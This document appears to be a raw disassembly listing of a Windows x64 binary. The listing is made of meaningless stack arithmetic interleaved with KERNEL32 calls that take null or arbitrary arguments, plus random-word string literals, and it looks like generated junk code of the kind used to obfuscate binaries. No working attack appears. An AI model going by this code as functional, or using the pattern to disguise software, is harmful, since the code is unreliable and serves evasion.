lea rcx, [rsp + 0x8e48]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x4448], eax
mov rax, qword [rsp + 0x8ee8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcd0]
and eax, ecx
mov word [rsp + 0xc3c], ax
mov rax, qword [0x1401e7500]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9b68]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9208]
mov byte [rcx], al
movzx eax, byte [rsp + 0x6e]
mov byte [rsp + 0xbc], al
mov rax, qword [rsp + 0x9fb8]
mov rcx, qword [rsp + 0x9780]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x9c78]
mov dword [rcx], eax
lea rcx, [rsp + 0x25458]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea rax, [rsp + 0x43dc]
mov qword [rsp + 0xa050], rax
mov rax, qword [rsp + 0x9e98]
mov rcx, qword [rsp + 0x94e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x9538]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9998]
mov qword [rsp + 0xa058], rax
mov rax, qword [0x1401e7498]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x54]
shl eax, cl
mov byte [0x1401e604a], al
movzx eax, word [rsp + 0xca4]
movzx ecx, word [rsp + 0xcf4]
add eax, ecx
mov word [rsp + 0xc84], ax
movzx eax, byte [rsp + 0x6e]
movzx ecx, byte [rsp + 0x95]
sub eax, ecx
mov byte [rsp + 0x81], al
mov rax, qword [rsp + 0x9570]
movzx eax, word [rax]
mov word [rsp + 0xd8c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rcx, qword [rsp + 0x9e20]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x43c8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
movzx eax, word [rsp + 0xd18]
imul eax, eax, 0x677
mov word [rsp + 0xc78], ax
mov eax, dword [rsp + 0x41d0]
mov dword [rsp + 0x4604], eax
mov rax, qword [rsp + 0x97f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9670]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9a48], rax
mov rax, qword [rsp + 0x9710]
mov rcx, qword [rsp + 0x9f90]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x43a4], eax
lea rcx, [rsp + 0x2a120]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x4608], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x9a68], rax
lea rax, [rsp + 0x91f8]
mov qword [rsp + 0xa060], rax
movzx eax, byte [0x1401e603a]
movzx ecx, byte [rsp + 0x6f]
sub eax, ecx
mov byte [0x1401e602a], al
xor r9d, r9d
xor r8d, r8d
mov edx, 0xdbb3
mov rcx, qword [rsp + 0x9970]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4374], eax
mov rax, qword [rsp + 0x9280]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9fc0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd6c], ax
mov rax, qword [rsp + 0x9468]
movzx eax, byte [rax]
mov byte [rsp + 0xbd], al
mov rcx, qword [rsp + 0xa030]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x460c], eax
movsx eax, word [rsp + 0xc38]
mov rcx, qword [rsp + 0x9b78]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9f28]
mov word [rcx], ax
mov rcx, qword [rsp + 0x90d8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x42ec], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4590], eax
mov rax, qword [rsp + 0x9e40]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x56]
sub eax, ecx
mov byte [rsp + 0xbb], al
lea rax, [0x1401e741c]
mov qword [rsp + 0xa068], rax
mov rax, qword [rsp + 0x9e00]
mov rcx, qword [rsp + 0x9268]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x94c0], rax
mov dword [rsp + 0x20], 0x451
mov r9d, 0x1cbb
mov r8d, 0x1815
mov edx, 0x3344
mov rcx, qword [rsp + 0x9f10]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4610], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9d30], rax
mov r9d, 0x121e
xor r8d, r8d
lea rdx, [rsp + 0x9110]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4550], eax
lea rax, [rsp + 0x9500]
mov qword [rsp + 0xa070], rax
mov rax, qword [rsp + 0x9c50]
mov rcx, qword [rsp + 0x9d58]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4428], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.C:KeepingGraphicscurtseyed_billows
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xa078], rax
lea rax, [rsp + 0xcb8]
mov qword [0x1401e75e8], rax
movzx eax, word [rsp + 0xc40]
mov rcx, qword [rsp + 0x92a0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x96b8]
mov word [rcx], ax
mov rax, qword [rsp + 0x95d8]
movzx eax, byte [rax]
mov byte [rsp + 0xbe], al
mov rax, qword [0x1401e74e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd48]
sar eax, cl
mov word [rsp + 0xcbc], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
movzx eax, byte [rsp + 0xb5]
mov byte [rsp + 0xbf], al
mov rax, qword [rsp + 0x90c0]
mov rcx, qword [rsp + 0x9a58]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x90e0], rax
lea rax, [rsp + 0x4598]
mov qword [rsp + 0xa080], rax
mov rax, qword [rsp + 0x95f0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9108]
mov qword [rsp + 0xa088], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa088]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x43cc], eax
mov rax, qword [rsp + 0x9ff0]
mov rcx, qword [rsp + 0x96f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9e00], rax
mov rax, qword [rsp + 0x9720]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb9c]
imul eax, ecx
mov rcx, qword [0x1401e75e0]
mov word [rcx], ax
mov dword [rsp + 0x20], 0x172c
mov r9d, 0x1d67
mov r8d, 0x3ab2
mov edx, 0x37d6
mov rcx, qword [rsp + 0x9978]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4414], eax
mov rcx, qword [rsp + 0x9410]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x4614], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
movzx eax, word [rsp + 0xd00]
mov word [rsp + 0xd90], ax
mov rax, qword [rsp + 0x9888]
movsx eax, byte [rax]
mov rcx, qword [0x1401e7478]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xb7], al
movzx ecx, word [rsp + 0xcfc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xb88], ax
lea rax, [rsp + 0x75]
mov qword [rsp + 0xa090], rax
movzx eax, word [rsp + 0xd68]
mov rcx, qword [rsp + 0x9ed8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xd14], ax
mov rax, qword [rsp + 0x97f0]
mov rcx, qword [rsp + 0x9538]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9090]
mov qword [rcx], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, qword [rsp + 0x9248]
mov eax, dword [rax]
mov dword [rsp + 0x4618], eax
mov rax, qword [rsp + 0x9a10]
mov eax, dword [rax]
imul eax, dword [rsp + 0x445c]
mov dword [rsp + 0x4458], eax
lea rcx, [rsp + 0x26968]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x95e8]
mov qword [rsp + 0xa098], rax
lea rax, [rsp + 0xa8]
mov qword [0x1401e75f0], rax
movsx eax, byte [rsp + 0xb3]
mov rcx, qword [rsp + 0x9d20]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x5b], al
movsx eax, word [rsp + 0xce8]
mov rcx, qword [0x1401e7428]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xd7c], ax
lea rax, [rsp + 0xbe0]
mov qword [rsp + 0xa0a0], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x1a4e
mov r9d, 0x31c2
mov r8d, 0x7f3db6bd
mov edx, 1
mov rcx, qword [rsp + 0x9410]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4564], eax
movzx eax, byte [rsp + 0x58]
mov rcx, qword [rsp + 0x99a0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x91], al
lea rax, [rsp + 0x449c]
mov qword [rsp + 0xa0a8], rax
mov rax, qword [rsp + 0x9230]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4484]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8fc0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9b18]
mov rcx, qword [rsp + 0x9168]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x92a8], rax
lea rax, [rsp + 0x9c28]
mov qword [rsp + 0xa0b0], rax
movzx eax, word [rsp + 0xbb8]
movzx ecx, word [rsp + 0xbe4]
add eax, ecx
mov word [rsp + 0xb9c], ax
mov rax, qword [rsp + 0x98d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9728]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [0x1401e603a], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
lea rax, [0x1401e607c]
mov qword [rsp + 0xa0b8], rax
mov rcx, qword [rsp + 0x9410]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x461c], eax
mov rax, qword [rsp + 0x9918]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5b]
xor eax, ecx
mov rcx, qword [rsp + 0x9118]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x8f10], rax
movzx eax, byte [rsp + 0x8f]
mov byte [rsp + 0xc0], al
mov r9d, 2
xor r8d, r8d
mov edx, 0xd843
mov rcx, qword [rsp + 0x9220]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4558], eax
mov rax, qword [rsp + 0x9fe8]
mov ecx, dword [rsp + 0x45fc]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4424], eax
mov rax, qword [rsp + 0x99d0]
movzx ecx, al
mov rax, qword [rsp + 0x9610]
shl rax, cl
mov qword [rsp + 0xa058], rax
lea rcx, str.upholstered_Reproduce
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0xd94], ax
lea rax, [rsp + 0x45b4]
mov qword [rsp + 0xa0c0], rax
mov rax, qword [rsp + 0x9298]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9548]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9ab8], rax
movzx eax, word [rsp + 0xc08]
mov word [rsp + 0xd98], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
movzx eax, word [rsp + 0xd70]
mov rcx, qword [rsp + 0x91c8]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [0x1401e7430]
mov word [rcx], ax
mov rcx, qword [rsp + 0x9290]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x4360], eax
movsx eax, word [rsp + 0xd64]
movsx ecx, word [0x1401e6028]
add eax, ecx
mov word [rsp + 0xcf8], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
mov rax, qword [rsp + 0x8e68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9920]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x72], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rsp + 0xa0c8], rax
lea rdx, [rsp + 0x28228]
mov rcx, qword [rsp + 0x99e0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x460c], eax
movzx eax, byte [rsp + 0x81]
mov byte [rsp + 0xc1], al
mov rax, qword [rsp + 0x9968]
mov rcx, qword [rsp + 0x92c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9ef8]
mov qword [rcx], rax
movzx ecx, word [rsp + 0xc00]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xd9c], ax
lea rax, [rsp + 0x43bc]
mov qword [rsp + 0xa0d0], rax
mov rax, qword [rsp + 0x9de0]
mov rcx, qword [rsp + 0x9e28]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9c68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9c00]
mov rcx, qword [rsp + 0x9588]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x9a20]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4560], eax
lea rax, [rsp + 0x63]
mov qword [rsp + 0xa0d8], rax
lea rax, [rsp + 0xbf]
mov qword [0x1401e75f8], rax
mov edx, 0x597c9e
mov rcx, qword [rsp + 0x9f20]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x43c0], eax
movzx eax, word [rsp + 0xbd4]
mov rcx, qword [rsp + 0x9720]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x8c40]
mov word [rcx], ax
mov rcx, qword [rsp + 0x9398]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x4620], eax
lea rax, [rsp + 0xcf4]
mov qword [rsp + 0xa0e0], rax
movsx eax, word [rsp + 0xcf8]
mov rcx, qword [rsp + 0x9b50]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc20], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
mov rax, qword [rsp + 0x9d78]
mov qword [rsp + 0xa0e8], rax
mov rax, qword [rsp + 0x9420]
mov rcx, qword [rsp + 0x9e38]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4404], eax
mov eax, dword [rsp + 0x43e0]
mov ecx, dword [rsp + 0x4598]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x98b8]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x9478], rax
mov rax, qword [rsp + 0x9fb0]
mov rax, qword [rax]
mov qword [rsp + 0xa0f0], rax
movzx eax, word [rsp + 0xce4]
movzx ecx, word [rsp + 0xd0c]
add eax, ecx
mov word [rsp + 0xcc4], ax
mov rax, qword [rsp + 0x8ca0]
movzx eax, byte [rax]
mov byte [0x1401e746a], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xa0f8], rax
lea rax, [rsp + 0x86]
mov qword [rsp + 0xa100], rax
lea rcx, [rsp + 0x26818]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, byte [0x1401e743e]
movzx ecx, byte [rsp + 0xb2]
or eax, ecx
mov byte [rsp + 0xbe], al
movsx eax, word [rsp + 0xc04]
movsx ecx, word [rsp + 0xbb0]
shl eax, cl
mov word [rsp + 0xcf8], ax
mov rcx, qword [rsp + 0x90d8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x91]
mov qword [rsp + 0xa108], rax
mov rax, qword [rsp + 0x92c0]
mov rax, qword [rax]
mov rcx, qword [0x1401e7420]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9550]
mov qword [rcx], rax
mov eax, dword [rsp + 0x43ac]
mov dword [rsp + 0x4624], eax
lea rdx, [rsp + 0x28260]
mov rcx, qword [rsp + 0x9380]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x45b0], eax
mov rax, qword [rsp + 0x8f00]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x8c78]
mov qword [rsp + 0xa110], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa110]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x41b8], eax
mov rax, qword [rsp + 0x97b8]
mov rax, qword [rax]
mov rcx, qword [0x1401e6008]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x97f0]
mov qword [rcx], rax
lea rcx, [rsp + 0x9100]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x451c], eax
lea rdx, [rsp + 0x28298]
mov rcx, qword [rsp + 0x9768]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x44d8], eax
movsx eax, word [rsp + 0xccc]
movsx ecx, word [rsp + 0xc9c]
add eax, ecx
mov rcx, qword [0x1401e7460]
mov word [rcx], ax
mov rax, qword [rsp + 0xa018]
movzx eax, word [rax]
mov word [rsp + 0xda0], ax
mov rax, qword [rsp + 0x91b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x96e8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x73], al
movzx eax, byte [rsp + 0x8e]
mov byte [rsp + 0xc2], al
movzx eax, byte [rsp + 0xae]
movzx ecx, byte [rsp + 0x58]
add eax, ecx
mov byte [rsp + 0x57], al
lea rcx, [rsp + 0x268a8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x9c68]
mov rcx, qword [rsp + 0x95e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9cf8], rax
mov rax, qword [rsp + 0x9270]
mov eax, dword [rax]
mov dword [rsp + 0x4628], eax
mov rax, qword [rsp + 0x9088]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x44e8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4534], eax
mov rax, qword [rsp + 0x9828]
mov qword [rsp + 0xa118], rax
mov rax, qword [rsp + 0x9dd8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xbc4]
and eax, ecx
mov word [0x1401e7438], ax
lea rcx, [rsp + 0x94b8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movsx eax, byte [rsp + 0x6d]
mov rcx, qword [0x1401e7528]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xb6], al
lea rax, [rsp + 0xc34]
mov qword [rsp + 0xa120], rax
movzx eax, byte [rsp + 0xa6]
movzx ecx, byte [rsp + 0xb2]
sub eax, ecx
mov byte [rsp + 0x53], al
movsx eax, word [rsp + 0xd4c]
movsx ecx, word [rsp + 0xcbc]
add eax, ecx
mov word [rsp + 0xb74], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov rax, qword [rsp + 0x9620]
mov eax, dword [rax]
mov dword [rsp + 0x462c], eax
mov rax, qword [rsp + 0x9428]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa050]
mov qword [rsp + 0xa128], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa128]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x44dc], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.C:icosahedronBraids_straight
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xa130], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x90b0], rax
lea rax, [rsp + 0x8ff8]
mov qword [rsp + 0xa138], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0xd251
mov rcx, qword [rsp + 0x9f10]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x451c], eax
mov rax, qword [rsp + 0x96d8]
movzx ecx, al
mov rax, qword [rsp + 0x9168]
shl rax, cl
mov qword [rsp + 0x9448], rax
lea rax, [rsp + 0x68]
mov qword [0x1401e7600], rax
movsx eax, byte [rsp + 0xa7]
movsx ecx, byte [0x1401e602b]
or eax, ecx
mov rcx, qword [rsp + 0x8fb8]
mov byte [rcx], al
movzx eax, word [rsp + 0xbe0]
mov word [rsp + 0xda4], ax
movsx eax, word [rsp + 0xd78]
movsx ecx, word [rsp + 0xc3c]
xor eax, ecx
mov word [rsp + 0xd8c], ax
movzx eax, word [rsp + 0xbd4]
mov word [rsp + 0xda8], ax
mov rax, qword [rsp + 0x9150]
mov rcx, qword [rsp + 0x9428]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x9d58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x96a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x97c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9858], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0xa140], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
lea rdx, [rsp + 0x4258]
mov rcx, qword [rsp + 0x8d20]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4540], eax
mov eax, dword [rsp + 0x4548]
mov dword [rsp + 0x4630], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xa070]
mov rcx, qword [rsp + 0x9098]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9e28]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xb0]
movzx ecx, byte [rsp + 0x92]
sub eax, ecx
mov byte [0x1401e6013], al
lea rdx, [rsp + 0x434c]
mov rcx, qword [rsp + 0x9970]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x45f8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
lea rax, [0x1401e604a]
mov qword [rsp + 0xa148], rax
mov rax, qword [rsp + 0x9da0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x94d8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8ee8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9db0]
movzx eax, word [rax]
mov word [rsp + 0xdac], ax
movsx eax, byte [rsp + 0x87]
mov rcx, qword [0x1401e75a8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa148]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rcx, qword [rsp + 0x98e8]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x4410], eax
mov rax, qword [rsp + 0x92d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9778]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9ca0], rax
lea rax, [rsp + 0x43cc]
mov qword [rsp + 0xa150], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4590], eax
mov rax, qword [rsp + 0x9fb0]
mov rcx, qword [rsp + 0x98a8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x97b8]
mov qword [rcx], rax
lea rax, [rsp + 0x455c]
mov qword [rsp + 0xa158], rax
lea rax, [rsp + 0xb74]
mov qword [0x1401e7608], rax
movzx eax, word [rsp + 0xd1c]
movzx ecx, word [rsp + 0xc18]
add eax, ecx
mov word [rsp + 0xdac], ax
lea rcx, str.glide_Earth_disinformation_Fulminate
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0xdb0], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0xbdf4
mov rcx, qword [rsp + 0x9c58]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4498], eax
movzx eax, word [rsp + 0xb9c]
mov rcx, qword [rsp + 0x9818]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x9a88]
mov word [rcx], ax
mov rax, qword [rsp + 0x9c40]
movzx eax, byte [rax]
mov byte [rsp + 0xc3], al
movzx eax, byte [rsp + 0x8c]
mov rcx, qword [rsp + 0x9f80]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x5f], al
lea rcx, [rsp + 0x254a8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0x9360]
mov rax, qword [rax]
mov qword [rsp + 0xa160], rax
mov rax, qword [rsp + 0xa060]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8c98]
sar rax, cl
mov qword [rsp + 0x9ca0], rax
mov rax, qword [rsp + 0xa150]
mov rcx, qword [rsp + 0x9458]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x9a10]
mov dword [rcx], eax
mov eax, dword [rsp + 0x45a8]
mov dword [rsp + 0x4634], eax
movzx eax, byte [rsp + 0x76]
mov rcx, qword [rsp + 0x99b0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401e75d0]
mov byte [rcx], al
movsx eax, word [rsp + 0xd90]
mov rcx, qword [rsp + 0x8eb8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xc3c], ax
movzx eax, byte [rsp + 0x84]
mov byte [rsp + 0xc4], al
movsx eax, word [rsp + 0xbc0]
movsx ecx, word [rsp + 0xce0]
sub eax, ecx
mov rcx, qword [rsp + 0x9f30]
mov word [rcx], ax
movzx eax, byte [rsp + 0x85]
movzx ecx, byte [rsp + 0x7d]
sub eax, ecx
mov rcx, qword [rsp + 0x9820]
mov byte [rcx], al
lea rdx, [rsp + 0x4530]
mov rcx, qword [rsp + 0x9900]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4638], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov eax, dword [rsp + 0x44e8]
mov dword [rsp + 0x463c], eax
mov rax, qword [rsp + 0x9e28]
mov rcx, qword [rsp + 0x98a8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9ce8], rax
mov rax, qword [rsp + 0x96c8]
mov qword [rsp + 0xa168], rax
mov rax, qword [rsp + 0x9130]
mov ecx, dword [rsp + 0x4634]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8e90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x93c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc34]
add eax, ecx
mov word [0x1401e6090], ax
movzx eax, word [0x1401e74b0]
mov word [rsp + 0xdb4], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov rax, qword [rsp + 0x9720]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xbe0]
sub eax, ecx
mov rcx, qword [rsp + 0xa018]
mov word [rcx], ax
lea rcx, [rsp + 0x25598]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov r9d, 1
lea r8, [rsp + 0x94b8]
mov rdx, qword [rsp + 0x94b8]
mov rcx, qword [rsp + 0x9aa8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4578], eax
mov rax, qword [rsp + 0x90c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x53]
add eax, ecx
mov byte [rsp + 0x97], al
lea rax, [rsp + 0x80]
mov qword [rsp + 0xa170], rax
movzx ecx, word [rsp + 0xd5c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xdb8], ax
mov rax, qword [rsp + 0x9948]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9758]
and rcx, rax
mov rax, rcx
